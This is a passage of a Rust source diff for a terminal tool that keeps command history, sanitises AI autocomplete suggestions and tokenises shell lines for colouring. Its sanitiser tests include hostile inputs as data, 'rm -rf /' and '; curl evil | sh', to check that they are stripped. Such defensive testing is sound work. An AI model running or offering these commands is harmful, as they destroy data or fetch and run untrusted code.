while let Some(c) = chars.next() {
if c != '\\' {
out.push(c);
continue;
}
match chars.next() {
Some('t') => out.push('\t'),
Some('n') => out.push('\n'),
Some('r') => out.push('\r'),
Some(other) => out.push(other),
None => out.push('\\'),
}
}
out
}
impl Entry {
/// The entry as one line of the file, without the line break.
pub fn to_line(&self) -> String {
format!(
"{}\t{}\t{}\t{}",
self.time,
self.exit,
escape(&self.cwd),
escape(&self.command)
)
}
/// An entry from a line of the file; `None` for a line that is not one.
pub fn from_line(line: &str) -> Option<Entry> {
let mut parts = line.splitn(4, '\t');
let time = parts.next()?.parse::<u64>().ok()?;
let exit = parts.next()?.parse::<i32>().ok()?;
let cwd = unescape(parts.next()?);
let command = unescape(parts.next()?);
if !accepts(&command, exit) {
return None;
}
Some(Entry {
command,
exit,
cwd,
time,
})
}
}
#[derive(Debug, Clone, Default)]
pub struct History {
/// The oldest first; each command once.
entries: Vec<Entry>,
max: usize,
}
impl History {
pub fn new(max: usize) -> Self {
History {
entries: Vec::new(),
max,
}
}
pub fn len(&self) -> usize {
self.entries.len()
}
pub fn is_empty(&self) -> bool {
self.entries.is_empty()
}
pub fn entries(&self) -> &[Entry] {
&self.entries
}
pub fn clear(&mut self) {
self.entries.clear();
}
/// Keep a command. A command that is there already moves to the newest
/// place; the oldest go when there are more than `max`. Returns whether it
/// was kept.
pub fn add(&mut self, entry: Entry) -> bool {
if self.max == 0 || !accepts(&entry.command, entry.exit) {
return false;
}
let mut entry = entry;
entry.command = entry.command.trim().to_string();
self.entries.retain(|e| e.command != entry.command);
self.entries.push(entry);
if self.entries.len() > self.max {
let extra = self.entries.len() - self.max;
self.entries.drain(0..extra);
}
true
}
/// The rest of the newest command that starts with what is typed; `None`
/// when there is none, or nothing is typed.
pub fn suggest(&self, typed: &str) -> Option<&str> {
if typed.is_empty() || typed.starts_with(' ') {
return None;
}
for entry in self.entries.iter().rev() {
if entry.command.len() > typed.len() && entry.command.starts_with(typed) {
return Some(&entry.command[typed.len()..]);
}
}
None
}
/// Read a history from the text of its file. Lines that are not entries
/// are passed over. Returns the history and how many lines the text had.
pub fn parse(text: &str, max: usize) -> (History, usize) {
let mut history = History::new(max);
let mut lines = 0;
for line in text.lines() {
lines += 1;
if line.starts_with('#') {
continue;
}
if let Some(entry) = Entry::from_line(line) {
history.add(entry);
}
}
(history, lines)
}
/// The whole history as the text of its file.
pub fn serialize(&self) -> String {
let mut out = String::from(HEADER);
out.push('\n');
for entry in &self.entries {
out.push_str(&entry.to_line());
out.push('\n');
}
out
}
}
#[cfg(unix)]
fn private_options() -> std::fs::OpenOptions {
use std::os::unix::fs::OpenOptionsExt;
let mut options = std::fs::OpenOptions::new();
options.mode(0o600);
options
}
#[cfg(not(unix))]
fn private_options() -> std::fs::OpenOptions {
std::fs::OpenOptions::new()
}
/// Read the history file. A file that is not there is an empty history. When
/// the file has grown to more than twice what is kept, it is rewritten.
pub fn load(path: &Path, max: usize) -> std::io::Result<History> {
let text = match std::fs::read_to_string(path) {
Ok(text) => text,
Err(err) if err.kind() == std::io::ErrorKind::NotFound => return Ok(History::new(max)),
Err(err) => return Err(err),
};
let (history, lines) = History::parse(&text, max);
if lines > max.saturating_mul(2) + 16 {
save(path, &history)?;
}
Ok(history)
}
/// Write the whole history: to a file beside it that is the person's alone,
/// then moved over it.
pub fn save(path: &Path, history: &History) -> std::io::Result<()> {
if let Some(dir) = path.parent() {
std::fs::create_dir_all(dir)?;
}
let mut tmp = path.as_os_str().to_owned();
tmp.push(format!(".{}.tmp", std::process::id()));
let tmp = std::path::PathBuf::from(tmp);
let _ = std::fs::remove_file(&tmp);
let result = (|| {
let mut file = private_options().write(true).create_new(true).open(&tmp)?;
file.write_all(history.serialize().as_bytes())?;
file.sync_all()?;
std::fs::rename(&tmp, path)
})();
if result.is_err() {
let _ = std::fs::remove_file(&tmp);
}
result
}
/// Add one command to the end of the file, making the file (the person's
/// alone) when it is not there.
pub fn append(path: &Path, entry: &Entry) -> std::io::Result<()> {
if let Some(dir) = path.parent() {
std::fs::create_dir_all(dir)?;
}
let mut file = private_options().append(true).create(true).open(path)?;
let mut text = String::new();
if file.metadata()?.len() == 0 {
text.push_str(HEADER);
text.push('\n');
}
text.push_str(&entry.to_line());
text.push('\n');
file.write_all(text.as_bytes())
}
/// Forget everything: the file is removed.
pub fn remove(path: &Path) -> std::io::Result<()> {
match std::fs::remove_file(path) {
Ok(()) => Ok(()),
Err(err) if err.kind() == std::io::ErrorKind::NotFound => Ok(()),
Err(err) => Err(err),
}
}
#[cfg(test)]
mod tests {
use super::*;
use std::sync::atomic::{AtomicUsize, Ordering};
fn entry(command: &str, exit: i32) -> Entry {
Entry {
command: command.to_string(),
exit,
cwd: "/home/user/project".to_string(),
time: 1700000000,
}
}
/// A directory of its own for one test.
fn scratch(name: &str) -> std::path::PathBuf {
static N: AtomicUsize = AtomicUsize::new(0);
let dir = std::env::temp_dir().join(format!(
"llembas-line-test-{}-{}-{}",
std::process::id(),
N.fetch_add(1, Ordering::SeqCst),
name
));
let _ = std::fs::remove_dir_all(&dir);
std::fs::create_dir_all(&dir).unwrap();
dir
}
#[test]
fn what_is_kept_and_what_is_not() {
assert!(accepts("git status", 0));
assert!(
accepts("make test", 2),
"a command that failed is still one"
);
assert!(accepts("ls", NO_EXIT));
assert!(
!accepts(" export TOKEN=secret", 0),
"a line that starts with a space"
);
assert!(!accepts("gti status", 127), "a command that was not found");
assert!(!accepts("", 0));
assert!(!accepts(" ", 0));
assert!(!accepts("echo a\necho b", 0), "several lines");
assert!(!accepts("echo \u{1b}[31m", 0), "a control character");
let long: String = std::iter::repeat('a').take(MAX_COMMAND_BYTES + 1).collect();
assert!(!accepts(&long, 0));
}
#[test]
fn adding() {
let mut h = History::new(3);
assert!(h.add(entry("one", 0)));
assert!(h.add(entry("two ", 0)));
assert!(!h.add(entry(" secret", 0)));
assert!(h.add(entry("one", 1)));
let commands: Vec<&str> = h.entries().iter().map(|e| e.command.as_str()).collect();
assert_eq!(
commands,
vec!["two", "one"],
"each once, the newest last, trimmed"
);
assert_eq!(h.entries()[1].exit, 1, "and as it last ended");
h.add(entry("three", 0));
h.add(entry("four", 0));
assert_eq!(h.len(), 3);
assert_eq!(h.entries()[0].command, "one", "the oldest went");
let mut none = History::new(0);
assert!(
!none.add(entry("x", 0)),
"a history of nothing keeps nothing"
);
assert!(none.is_empty());
}
#[test]
fn suggesting() {
let mut h = History::new(10);
h.add(entry("git status", 0));
h.add(entry("git stash pop", 0));
h.add(entry("ls -la", 0));
assert_eq!(
h.suggest("git st"),
Some("ash pop"),
"the newest that starts so"
);
assert_eq!(h.suggest("git stat"), Some("us"));
assert_eq!(h.suggest("git status"), None, "nothing left to offer");
assert_eq!(h.suggest("l"), Some("s -la"));
assert_eq!(h.suggest(""), None, "nothing typed");
assert_eq!(
h.suggest(" git"),
None,
"a line that asks not to be remembered"
);
assert_eq!(h.suggest("cargo"), None);
assert_eq!(h.suggest("Git"), None, "as typed, not folded");
h.clear();
assert_eq!(h.suggest("git"), None);
}
#[test]
fn the_file_text() {
let mut h = History::new(10);
h.add(Entry {
command: "echo a\\tb".to_string(),
exit: 0,
cwd: "/tmp/with\ttab".to_string(),
time: 5,
});
h.add(entry("ls", 2));
let text = h.serialize();
assert_eq!(
text,
"# llembas-tty history 1\n5\t0\t/tmp/with\\ttab\techo a\\\\tb\n1700000000\t2\t/home/user/project\tls\n"
);
let (back, lines) = History::parse(&text, 10);
assert_eq!(lines, 3);
assert_eq!(back.entries(), h.entries());
// lines that are not entries are passed over, never an error
let (odd, _) = History::parse(
"nonsense\n1\t0\n\nx\t0\t/\tls\n7\t0\t/\t secret\n8\t127\t/\tgti\n9\t0\t/\tok\n",
10,
);
assert_eq!(odd.len(), 1);
assert_eq!(odd.entries()[0].command, "ok");
// only the newest are kept
let (few, _) = History::parse("1\t0\t/\ta\n2\t0\t/\tb\n3\t0\t/\tc\n", 2);
assert_eq!(few.entries()[0].command, "b");
}
#[test]
fn the_file_itself() {
let dir = scratch("file");
let path = dir.join("sub").join("history");
assert!(
load(&path, 10).unwrap().is_empty(),
"no file: an empty history"
);
append(&path, &entry("git status", 0)).unwrap();
append(&path, &entry("ls", 0)).unwrap();
let text = std::fs::read_to_string(&path).unwrap();
assert!(text.starts_with("# llembas-tty history 1\n"));
assert_eq!(text.lines().count(), 3);
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
assert_eq!(mode, 0o600, "the person's alone");
}
let h = load(&path, 10).unwrap();
assert_eq!(h.len(), 2);
assert_eq!(h.suggest("git"), Some(" status"));
remove(&path).unwrap();
remove(&path).unwrap();
assert!(load(&path, 10).unwrap().is_empty());
std::fs::remove_dir_all(&dir).unwrap();
}
#[test]
fn a_file_that_grew_is_rewritten_smaller() {
let dir = scratch("grow");
let path = dir.join("history");
for i in 0..40 {
append(&path, &entry(&format!("command {}", i % 5), 0)).unwrap();
}
assert_eq!(std::fs::read_to_string(&path).unwrap().lines().count(), 41);
let h = load(&path, 3).unwrap();
assert_eq!(h.len(), 3);
let text = std::fs::read_to_string(&path).unwrap();
assert_eq!(text.lines().count(), 4, "the header and the three kept");
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
assert_eq!(mode, 0o600, "still the person's alone");
}
let files: Vec<_> = std::fs::read_dir(&dir).unwrap().collect();
assert_eq!(files.len(), 1, "nothing left beside it");
std::fs::remove_dir_all(&dir).unwrap();
}
}
+23
View File
@@ -0,0 +1,23 @@
//! LLeMbas TTY: what the terminal decides about a line of text, with no
//! terminal in it.
//!
//! - [`editor`]: the ask line's own small line editor, and how it fits a row.
//! - [`zone`]: the shell's input line, read from the cells of the screen.
//! - [`history`]: the terminal's own history of commands it saw run.
//! - [`mark`]: the input mark, by which LLeMbas knows a prompt is empty.
//! - [`suggest`]: what is offered after the cursor, and how much a key takes.
//! - [`tokens`]: the parts of a shell command line, for its colours.
//! - [`complete`]: asking LLeMbas for the rest of a line - whether to, how the
//! engine is run, and what is remembered of it for the person.
//!
//! Everything takes plain values and returns plain values. Text that came
//! from a pane, a file or a model is text here and nothing else: it is never
//! run, and nothing in it survives that could act on a terminal.
pub mod complete;
pub mod editor;
pub mod history;
pub mod mark;
pub mod suggest;
pub mod tokens;
pub mod zone;
+148
View File
@@ -0,0 +1,148 @@
//! The input mark: whether anything stands on the input line of a pane's
//! prompt, written by the terminal for LLeMbas, which places a command only
//! at an empty prompt (the engine's specification, *A command placed at the
//! prompt*).
//!
//! A small file beside the pane's status record, the person's alone, written
//! whole:
//!
//! ```text
//! llembas-tty-input=1
//! id=<the status record's id>
//! seq=<the status record's seq>
//! typed=0 | 1
//! ```
//!
//! It counts only while `id` and `seq` are those of the pane's status record
//! and that record is at a prompt, so a mark that was not kept up says
//! nothing rather than something wrong.
use std::io::Write;
use std::path::{Path, PathBuf};
pub const MAGIC: &str = "llembas-tty-input=1";
/// The mark's file for a pane, in the directory of the status records.
pub fn path(dir: &Path, pane: usize) -> PathBuf {
dir.join(format!("pane-{}.input", pane))
}
/// Is this the id of a status record? 1 to 64 letters, digits, `.`, `_`,
/// `:` or `-`. Anything else is never written into a file.
pub fn valid_id(id: &str) -> bool {
!id.is_empty()
&& id.len() <= 64
&& id
.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | ':' | '-'))
}
/// The mark as it is written; `None` for an id that is none.
pub fn text(id: &str, seq: u64, typed: bool) -> Option<String> {
if !valid_id(id) {
return None;
}
Some(format!(
"{}\nid={}\nseq={}\ntyped={}\n",
MAGIC,
id,
seq,
if typed { 1 } else { 0 }
))
}
/// Write the mark of a pane: beside the file, closed to everybody else, then
/// moved over it, so that a reader sees the old mark or the new one.
pub fn write(dir: &Path, pane: usize, id: &str, seq: u64, typed: bool) -> std::io::Result<()> {
let text = text(id, seq, typed).ok_or_else(|| {
std::io::Error::new(std::io::ErrorKind::InvalidInput, "not a status record's id")
})?;
let path = path(dir, pane);
let tmp = dir.join(format!("pane-{}.input.{}", pane, std::process::id()));
let mut options = std::fs::OpenOptions::new();
options.write(true).create(true).truncate(true);
#[cfg(unix)]
{
use std::os::unix::fs::OpenOptionsExt;
options.mode(0o600);
}
let written = options
.open(&tmp)
.and_then(|mut file| file.write_all(text.as_bytes()))
.and_then(|_| std::fs::rename(&tmp, &path));
if written.is_err() {
let _ = std::fs::remove_file(&tmp);
}
written
}
/// Take a pane's mark away. That there is none is no error.
pub fn remove(dir: &Path, pane: usize) -> std::io::Result<()> {
match std::fs::remove_file(path(dir, pane)) {
Err(err) if err.kind() != std::io::ErrorKind::NotFound => Err(err),
_ => Ok(()),
}
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn the_mark_as_written() {
assert_eq!(
text("4242.1700000000", 17, false).unwrap(),
"llembas-tty-input=1\nid=4242.1700000000\nseq=17\ntyped=0\n"
);
assert!(text("4242.1700000000", 18, true)
.unwrap()
.ends_with("seq=18\ntyped=1\n"));
assert_eq!(text("", 1, false), None);
assert_eq!(text("a\nseq=9", 1, false), None, "one fact a line");
assert_eq!(text("a b", 1, false), None);
assert!(valid_id("host-1:2_3.4"));
assert!(!valid_id(&"x".repeat(65)));
assert_eq!(
path(Path::new("/run/t/status-1"), 12),
PathBuf::from("/run/t/status-1/pane-12.input")
);
}
#[test]
fn the_mark_in_its_file() {
let dir = std::env::temp_dir().join(format!(
"llembas-line-mark-{}-{}",
std::process::id(),
std::time::SystemTime::now()
.duration_since(std::time::UNIX_EPOCH)
.map(|d| d.as_nanos())
.unwrap_or(0)
));
std::fs::create_dir_all(&dir).unwrap();
write(&dir, 3, "77.5", 4, true).unwrap();
let file = path(&dir, 3);
assert_eq!(
std::fs::read_to_string(&file).unwrap(),
"llembas-tty-input=1\nid=77.5\nseq=4\ntyped=1\n"
);
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mode = std::fs::metadata(&file).unwrap().permissions().mode();
assert_eq!(mode & 0o777, 0o600, "the person's alone");
}
// written whole again, and nothing is left beside it
write(&dir, 3, "77.5", 5, false).unwrap();
assert!(std::fs::read_to_string(&file)
.unwrap()
.ends_with("seq=5\ntyped=0\n"));
assert_eq!(std::fs::read_dir(&dir).unwrap().count(), 1);
assert!(write(&dir, 3, "not an id", 5, false).is_err());
remove(&dir, 3).unwrap();
assert!(!file.exists());
remove(&dir, 3).unwrap();
// a directory that is not there: an error, and nothing is made
assert!(write(&dir.join("gone"), 1, "a", 1, false).is_err());
let _ = std::fs::remove_dir_all(&dir);
}
}
+173
View File
@@ -0,0 +1,173 @@
//! What is offered after the cursor, and how much of it a key takes.
//!
//! A suggestion is text offered. Taking it puts it on the shell's line as if
//! typed; nothing here runs anything, and nothing in a suggestion can act as
//! a key: it is one line with no control character in it.
/// The most characters a suggestion may have.
pub const MAX_CHARS: usize = 500;
/// Where a suggestion came from.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Source {
/// The terminal's own history of commands.
History,
/// LLeMbas (the autocomplete model).
Ai,
}
/// The rest of a line as it may be offered: one line, no control character,
/// not endless; `None` when nothing is left of it.
pub fn clean_rest(rest: &str) -> Option<String> {
let line = rest
.split(|c: char| c == '\n' || c == '\r')
.next()
.unwrap_or("");
let cleaned: String = line
.chars()
.filter(|c| !c.is_control())
.take(MAX_CHARS)
.collect();
if cleaned.trim().is_empty() {
None
} else {
Some(cleaned)
}
}
/// What a model answered for a line, as the rest of that line. A model may
/// repeat what was typed before going on: then only what follows is the rest.
pub fn clean_completion(answer: &str, typed: &str) -> Option<String> {
let first = answer
.split(|c: char| c == '\n' || c == '\r')
.next()
.unwrap_or("");
let rest = if !typed.is_empty() && first.starts_with(typed) {
&first[typed.len()..]
} else {
first
};
clean_rest(rest)
}
/// The first word of a suggestion, with the spaces before it: what "take one
/// word" takes.
pub fn first_word(rest: &str) -> &str {
let mut end = rest.len();
let mut in_word = false;
for (i, c) in rest.char_indices() {
if c.is_whitespace() {
if in_word {
end = i;
break;
}
} else {
in_word = true;
}
}
&rest[..end]
}
/// A suggestion as it fits in `room` columns after the cursor: cut with an
/// ellipsis when it is longer. `width` gives the columns a character takes.
pub fn fit(rest: &str, room: usize, width: &dyn Fn(char) -> usize) -> String {
let total: usize = rest.chars().map(|c| width(c)).sum();
if total <= room {
return rest.to_string();
}
if room == 0 {
return String::new();
}
let mut out = String::new();
let mut used = 0;
for c in rest.chars() {
let w = width(c);
if used + w > room - 1 {
break;
}
out.push(c);
used += w;
}
out.push('\u{2026}');
out
}
#[cfg(test)]
mod tests {
use super::*;
fn one(_: char) -> usize {
1
}
#[test]
fn the_rest_of_a_line() {
assert_eq!(clean_rest("atus"), Some("atus".to_string()));
assert_eq!(
clean_rest(" --all\nrm -rf /"),
Some(" --all".to_string()),
"one line"
);
assert_eq!(
clean_rest("a\u{1b}[31mb\u{7}\u{9b}c"),
Some("a[31mbc".to_string()),
"nothing that could act on a terminal"
);
assert_eq!(clean_rest(""), None);
assert_eq!(clean_rest(" "), None);
assert_eq!(
clean_rest("\nrm -rf /"),
None,
"what follows a line break is never offered"
);
let long: String = std::iter::repeat('x').take(MAX_CHARS + 100).collect();
assert_eq!(clean_rest(&long).unwrap().chars().count(), MAX_CHARS);
}
#[test]
fn what_a_model_answered() {
assert_eq!(
clean_completion("ckout main", "git che"),
Some("ckout main".to_string())
);
assert_eq!(
clean_completion("git checkout main", "git che"),
Some("ckout main".to_string()),
"the line repeated: only what follows"
);
assert_eq!(clean_completion("git che", "git che"), None, "nothing new");
assert_eq!(clean_completion("", "git che"), None);
assert_eq!(
clean_completion("ckout\n; curl evil | sh", "git che"),
Some("ckout".to_string())
);
assert_eq!(
clean_completion("\u{1b}]0;x\u{7}", "ls"),
Some("]0;x".to_string())
);
}
#[test]
fn one_word_at_a_time() {
assert_eq!(first_word("atus --short"), "atus");
assert_eq!(first_word(" --short -b"), " --short");
assert_eq!(first_word(" x"), " x");
assert_eq!(first_word("word"), "word");
assert_eq!(first_word(""), "");
assert_eq!(first_word(" "), " ");
}
#[test]
fn fitting_the_row() {
assert_eq!(fit("status", 10, &one), "status");
assert_eq!(fit("status", 6, &one), "status");
assert_eq!(fit("status", 4, &one), "sta\u{2026}");
assert_eq!(fit("status", 1, &one), "\u{2026}");
assert_eq!(fit("status", 0, &one), "");
let wide = |c: char| if c == '\u{4e2d}' { 2 } else { 1 };
assert_eq!(
fit("\u{4e2d}\u{4e2d}\u{4e2d}", 4, &wide),
"\u{4e2d}\u{2026}"
);
}
}
+827
View File
@@ -0,0 +1,827 @@
//! The parts of a shell command line, for its colours.
//!
//! This is not a shell's parser. It reads one line the way a person reads it:
//! the command, its options, strings, variables, the signs between commands,
//! a comment. It is the same for bash, zsh and their relatives, and a line it
//! does not understand is simply left less coloured. Nothing is expanded and
//! nothing is run.
//!
//! All positions are bytes of the line. Every sign this looks for is ASCII, so
//! a position is never inside a character.
/// What a part of the line is.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Kind {
/// The plain text of a word that stands where a command stands.
Command,
/// The plain text of any other word.
Word,
/// A word that begins with `-`.
Option,
/// A quoted string.
String,
/// `$name`, `${…}`, and the name of an assignment.
Variable,
/// A sign between commands, or a redirection.
Operator,
/// `#` to the end of the line.
Comment,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Token {
pub start: usize,
pub end: usize,
pub kind: Kind,
}
/// What a whole word is to the command line.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum Role {
Command,
Argument,
Option,
/// `NAME=value` before a command.
Assignment,
/// The file of a redirection.
Target,
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct Word {
pub start: usize,
pub end: usize,
pub role: Role,
/// What the word says with its quotes taken off, for a command, an
/// argument or a target; `None` when that cannot be known without the
/// shell (a variable, a pattern).
pub value: Option<String>,
}
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct Parsed {
/// The coloured parts, in order, never overlapping.
pub tokens: Vec<Token>,
pub words: Vec<Word>,
}
/// Words after which another command stands.
const BEFORE_A_COMMAND: &[&str] = &[
"!", "builtin", "command", "do", "doas", "elif", "else", "exec", "if", "nohup", "sudo", "then",
"time", "until", "while",
];
/// What every shell of the family knows without looking in `PATH`: its own
/// words and its built-in commands.
const BUILTINS: &[&str] = &[
"!", ".", ":", "[", "[[", "alias", "bg", "bind", "break", "builtin", "case", "cd", "command",
"continue", "declare", "dirs", "disown", "do", "done", "echo", "elif", "else", "esac", "eval",
"exec", "exit", "export", "false", "fc", "fg", "fi", "for", "function", "getopts", "hash",
"help", "history", "if", "in", "jobs", "kill", "let", "local", "logout", "popd", "printf",
"pushd", "pwd", "read", "readonly", "return", "select", "set", "shift", "shopt", "source",
"suspend", "test", "then", "time", "times", "trap", "true", "type", "typeset", "ulimit",
"umask", "unalias", "unset", "until", "wait", "while",
];
pub fn is_builtin(name: &str) -> bool {
BUILTINS.contains(&name)
}
fn is_name_start(c: u8) -> bool {
c.is_ascii_alphabetic() || c == b'_'
}
fn is_name_char(c: u8) -> bool {
c.is_ascii_alphanumeric() || c == b'_'
}
/// From an opening `'` at `j` to after its closing one (or the end).
fn skip_single(b: &[u8], j: usize) -> usize {
let mut k = j + 1;
while k < b.len() {
if b[k] == b'\'' {
return k + 1;
}
k += 1;
}
b.len()
}
/// From an opening quote at `j` to after its closing one (or the end), where a
/// backslash takes the character after it: `"…"` and `$'…'`.
fn skip_escaped(b: &[u8], j: usize, quote: u8) -> usize {
let mut k = j + 1;
while k < b.len() {
if b[k] == b'\\' {
k += 2;
continue;
}
if b[k] == quote {
return k + 1;
}
k += 1;
}
b.len()
}
/// The length of the variable that starts with the `$` at `k`; 1 when the `$`
/// is only a `$`.
fn variable_len(b: &[u8], k: usize) -> usize {
let n = b.len();
if k + 1 >= n {
return 1;
}
let c = b[k + 1];
if c == b'{' {
let mut m = k + 2;
while m < n {
if b[m] == b'}' {
return m + 1 - k;
}
m += 1;
}
return n - k;
}
if is_name_start(c) {
let mut m = k + 2;
while m < n && is_name_char(b[m]) {
m += 1;
}
return m - k;
}
if c.is_ascii_digit() || b"?!#$*@-".contains(&c) {
return 2;
}
1
}
/// The length of the sign that starts at `i`, when one does.
fn operator_len(b: &[u8], i: usize) -> Option<usize> {
let n = b.len();
let at = |k: usize| -> u8 {
if k < n {
b[k]
} else {
0
}
};
let c = b[i];
match c {
b';' => Some(if at(i + 1) == b';' { 2 } else { 1 }),
b'|' => Some(if at(i + 1) == b'|' || at(i + 1) == b'&' {
2
} else {
1
}),
b'&' => {
if at(i + 1) == b'&' {
Some(2)
} else if at(i + 1) == b'>' {
Some(if at(i + 2) == b'>' { 3 } else { 2 })
} else {
Some(1)
}
}
b'(' | b')' | b'`' => Some(1),
b'$' if at(i + 1) == b'(' => Some(2),
b'<' | b'>' => Some(redirect_len(b, i)),
_ if c.is_ascii_digit() => {
// a file descriptor before a redirection: 2> 2>&1
let mut k = i;
while k < n && b[k].is_ascii_digit() {
k += 1;
}
if at(k) == b'<' || at(k) == b'>' {
Some(k - i + redirect_len(b, k))
} else {
None
}
}
_ => None,
}
}
/// The length of the redirection whose `<` or `>` is at `i`.
fn redirect_len(b: &[u8], i: usize) -> usize {
let n = b.len();
let mut k = i + 1;
if k < n && b[k] == b[i] {
// << >>
k += 1;
if k < n && b[i] == b'<' && b[k] == b'<' {
// <<<
k += 1;
}
return k - i;
}
if k < n && b[k] == b'|' && b[i] == b'>' {
return 2;
}
if k < n && b[k] == b'&' {
// >& >&2 <&-
k += 1;
if k < n && b[k] == b'-' {
k += 1;
} else {
while k < n && b[k].is_ascii_digit() {
k += 1;
}
}
}
k - i
}
/// Does this redirection name its own target (`2>&1`, `<&-`)?
fn redirect_is_whole(op: &str) -> bool {
match op.find('&') {
Some(amp) => amp + 1 < op.len() && !op.starts_with('&'),
None => false,
}
}
/// Where the word that starts at `i` ends.
fn word_end(b: &[u8], i: usize) -> usize {
let n = b.len();
let mut j = i;
while j < n {
match b[j] {
b' ' | b'\t' | b';' | b'|' | b'&' | b'(' | b')' | b'<' | b'>' | b'`' => break,
b'\\' => j += 2,
b'\'' => j = skip_single(b, j),
b'"' => j = skip_escaped(b, j, b'"'),
b'$' if j + 1 < n && b[j + 1] == b'\'' => j = skip_escaped(b, j + 1, b'\''),
b'$' if j + 1 < n && b[j + 1] == b'(' => break,
b'$' => j += variable_len(b, j),
_ => j += 1,
}
}
j.min(n)
}
/// The length of `NAME=` or `NAME+=` at the start of a word, when the word is
/// an assignment.
fn assignment_len(raw: &str) -> Option<usize> {
let b = raw.as_bytes();
if b.is_empty() || !is_name_start(b[0]) {
return None;
}
let mut k = 1;
while k < b.len() && is_name_char(b[k]) {
k += 1;
}
if k < b.len() && b[k] == b'+' {
k += 1;
}
if k < b.len() && b[k] == b'=' {
Some(k + 1)
} else {
None
}
}
/// What a word says with its quotes taken off; `None` when it holds something
/// only the shell can resolve (a variable, a substitution, a pattern).
pub fn plain_value(raw: &str) -> Option<String> {
let mut out = String::new();
let mut chars = raw.chars();
while let Some(c) = chars.next() {
match c {
'$' | '`' | '*' | '?' | '[' | '{' => return None,
'\\' => match chars.next() {
Some(next) => out.push(next),
None => out.push('\\'),
},
'\'' => {
for q in chars.by_ref() {
if q == '\'' {
break;
}
out.push(q);
}
}
'"' => {
while let Some(q) = chars.next() {
match q {
'"' => break,
'$' | '`' => return None,
'\\' => {
if let Some(next) = chars.next() {
out.push(next);
}
}
q => out.push(q),
}
}
}
c => out.push(c),
}
}
Some(out)
}
fn push(tokens: &mut Vec<Token>, start: usize, end: usize, kind: Kind) {
if end > start {
tokens.push(Token { start, end, kind });
}
}
/// The parts of a double-quoted string from its opening quote at `start` to
/// `end`: the string, with the variables in it picked out.
fn push_double(tokens: &mut Vec<Token>, b: &[u8], start: usize, end: usize) {
let mut seg = start;
let mut m = start + 1;
while m < end {
if b[m] == b'\\' {
m += 2;
continue;
}
if b[m] == b'$' {
let len = variable_len(b, m).min(end - m);
if len > 1 {
push(tokens, seg, m, Kind::String);
push(tokens, m, m + len, Kind::Variable);
m += len;
seg = m;
continue;
}
}
m += 1;
}
push(tokens, seg, end, Kind::String);
}
/// The parts of the word `[start, end)`, its plain text of kind `plain`.
fn push_word(tokens: &mut Vec<Token>, b: &[u8], start: usize, end: usize, plain: Kind) {
let mut seg = start;
let mut k = start;
while k < end {
match b[k] {
b'\\' => k = (k + 2).min(end),
b'\'' => {
let q = skip_single(b, k).min(end);
push(tokens, seg, k, plain);
push(tokens, k, q, Kind::String);
k = q;
seg = k;
}
b'"' => {
let q = skip_escaped(b, k, b'"').min(end);
push(tokens, seg, k, plain);
push_double(tokens, b, k, q);
k = q;
seg = k;
}
b'$' if k + 1 < end && b[k + 1] == b'\'' => {
let q = skip_escaped(b, k + 1, b'\'').min(end);
push(tokens, seg, k, plain);
push(tokens, k, q, Kind::String);
k = q;
seg = k;
}
b'$' => {
let len = variable_len(b, k).min(end - k);
if len > 1 {
push(tokens, seg, k, plain);
push(tokens, k, k + len, Kind::Variable);
k += len;
seg = k;
} else {
k += 1;
}
}
_ => k += 1,
}
}
push(tokens, seg, end, plain);
}
/// Read a command line.
pub fn parse(line: &str) -> Parsed {
let b = line.as_bytes();
let n = b.len();
let mut parsed = Parsed::default();
let mut command_next = true;
let mut target_next = false;
let mut i = 0;
while i < n {
let c = b[i];
if c == b' ' || c == b'\t' {
i += 1;
continue;
}
if c == b'#' {
push(&mut parsed.tokens, i, n, Kind::Comment);
break;
}
if let Some(len) = operator_len(b, i) {
let end = (i + len).min(n);
push(&mut parsed.tokens, i, end, Kind::Operator);
let op = &line[i..end];
if op.contains('<') || op.contains('>') {
target_next = !redirect_is_whole(op);
} else {
target_next = false;
command_next = op != ")";
}
i = end;
continue;
}
let end = word_end(b, i).max(i + 1).min(n);
let raw = &line[i..end];
if raw == "{" || raw == "}" {
push(&mut parsed.tokens, i, end, Kind::Operator);
command_next = raw == "{";
i = end;
continue;
}
if target_next {
target_next = false;
push_word(&mut parsed.tokens, b, i, end, Kind::Word);
parsed.words.push(Word {
start: i,
end,
role: Role::Target,
value: plain_value(raw),
});
} else if command_next {
if let Some(len) = assignment_len(raw) {
push(&mut parsed.tokens, i, i + len, Kind::Variable);
push_word(&mut parsed.tokens, b, i + len, end, Kind::Word);
parsed.words.push(Word {
start: i,
end,
role: Role::Assignment,
value: None,
});
} else if raw.len() > 1 && raw.starts_with('-') {
// an option of the word before (sudo -E make): a command still follows
push_word(&mut parsed.tokens, b, i, end, Kind::Option);
parsed.words.push(Word {
start: i,
end,
role: Role::Option,
value: None,
});
} else {
push_word(&mut parsed.tokens, b, i, end, Kind::Command);
let value = plain_value(raw);
command_next = match &value {
Some(v) => BEFORE_A_COMMAND.contains(&v.as_str()),
None => false,
};
parsed.words.push(Word {
start: i,
end,
role: Role::Command,
value,
});
}
} else if raw.len() > 1 && raw.starts_with('-') {
push_word(&mut parsed.tokens, b, i, end, Kind::Option);
parsed.words.push(Word {
start: i,
end,
role: Role::Option,
value: None,
});
} else {
push_word(&mut parsed.tokens, b, i, end, Kind::Word);
parsed.words.push(Word {
start: i,
end,
role: Role::Argument,
value: plain_value(raw),
});
}
i = end;
}
parsed
}
#[cfg(test)]
mod tests {
use super::Kind::*;
use super::*;
/// The parts of a line as (text, kind).
fn parts(line: &str) -> Vec<(&str, Kind)> {
parse(line)
.tokens
.iter()
.map(|t| (&line[t.start..t.end], t.kind))
.collect()
}
/// The words of a line as (text, role).
fn roles(line: &str) -> Vec<(&str, Role)> {
parse(line)
.words
.iter()
